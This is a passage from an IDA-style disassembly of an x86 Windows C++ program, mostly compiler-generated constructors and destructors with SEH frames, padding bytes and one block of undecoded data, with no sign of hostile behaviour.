[esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AD2 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AD2 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AD2 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AD2 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AD2 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AD2 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AD2 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AD2 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417540 proc near ; CODE XREF: sub_4014F1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417540 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4175E0 proc near ; CODE XREF: sub_401E83j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4175E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4175E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: sub_402216j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417770 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417830 proc near ; CODE XREF: sub_401EB0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417830 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417830 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4178F0 proc near ; CODE XREF: sub_4018CAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4178F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4178F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417960 proc near ; CODE XREF: sub_4017D0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417960 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_401B27j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A40 proc near ; CODE XREF: sub_401F28j add ecx, 4 jmp sub_401023 sub_417A40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AE0 proc near ; CODE XREF: sub_401DEDj add ecx, 4 jmp sub_401023 sub_417AE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B00 proc near ; CODE XREF: sub_401FF5j add ecx, 4 jmp sub_401023 sub_417B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B20 proc near ; CODE XREF: sub_401EE2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BC0 proc near ; CODE XREF: sub_40157Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417BC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417BC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C60 proc near ; CODE XREF: sub_401645j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417C60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D30 proc near ; CODE XREF: sub_401776j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401749 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DF0 proc near ; CODE XREF: sub_401820j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E050 mov eax, esi pop esi retn sub_417DF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E20 proc near ; CODE XREF: sub_4016B3j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E05C mov eax, esi pop esi retn sub_417E20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E50 proc near ; CODE XREF: sub_401415j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F10 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F10 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417FD0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417FD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417FD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418050 proc near ; CODE XREF: sub_401D11j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset nullsub_10 mov eax, esi pop esi retn sub_418050 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418080 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418080 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418080 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418100 proc near ; CODE XREF: sub_401A7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418100 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418100 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E09C mov eax, esi pop esi retn sub_418180 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4181B0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4181B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4181B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418230 proc near ; CODE XREF: sub_401573j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A4 mov eax, esi pop esi retn sub_418230 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418260 proc near ; CODE XREF: sub_40178Fj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A8 mov eax, esi pop esi retn sub_418260 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418290 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418290 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_50F8D0 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418348: ; CODE XREF: sub_418330+E4j test bl, bl jnz loc_41841E mov al, [esi+8EF74h] test al, al jnz short loc_41835E mov bl, 1 jmp short loc_418372 ; --------------------------------------------------------------------------- loc_41835E: ; CODE XREF: sub_418330+28j lea ecx, [esi+15Fh] call sub_40185C test al, al setz bl test bl, bl jz short loc_418379 loc_418372: ; CODE XREF: sub_418330+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418379: ; CODE XREF: sub_418330+40j lea ecx, [esp+1Ch+var_C] call sub_402086 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F4B mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jz short loc_4183FE loc_4183B4: ; CODE XREF: sub_418330+CCj lea ecx, [esp+1Ch+var_C] call sub_402211 mov ecx, [eax] call sub_401744 lea ecx, [esp+1Ch+var_C] call sub_402211 mov eax, [eax] test eax, eax jz short loc_4183DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4183DB: ; CODE XREF: sub_418330+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jnz short loc_4183B4 loc_4183FE: ; CODE XREF: sub_418330+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418348 test bl, bl jz short loc_41842B loc_41841E: ; CODE XREF: sub_418330+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41842B: ; CODE XREF: sub_418330+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418490 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418490 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E6ECB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4184D0 push eax jmp short loc_4184D5 ; --------------------------------------------------------------------------- loc_4184D0: ; CODE XREF: sub_418490+3Bj push offset byte_446F60 loc_4184D5: ; CODE XREF: sub_418490+3Ej lea ecx, [esi+9FD57h] call sub_4015D7 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4184EE push edi jmp short loc_4184F3 ; --------------------------------------------------------------------------- loc_4184EE: ; CODE XREF: sub_418490+59j push offset byte_446F60 loc_4184F3: ; CODE XREF: sub_418490+5Cj lea ecx, [esi+9FD6Ch] call sub_4015D7 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418490 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h dd 244C8DFFh, 2685128h, 90000002h, 69E120E8h, 8F88E871h dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h, 69BCE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418840: ; CODE XREF: ___:00402202j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418860: ; CODE XREF: ___:00401EC4j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_447148 call sub_401767 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418890 proc near ; CODE XREF: sub_401B09j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021BC mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401622 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40142E mov edx, [esi+4] mov ecx, esi push edx call sub_4020E5 sub_418890 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418900 proc near ; CODE XREF: sub_401AFAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418900 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418940 proc near ; CODE XREF: sub_4021DAj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 mov edx, [esi+4] mov ecx, esi push edx call sub_40205E sub_418940 endp ; 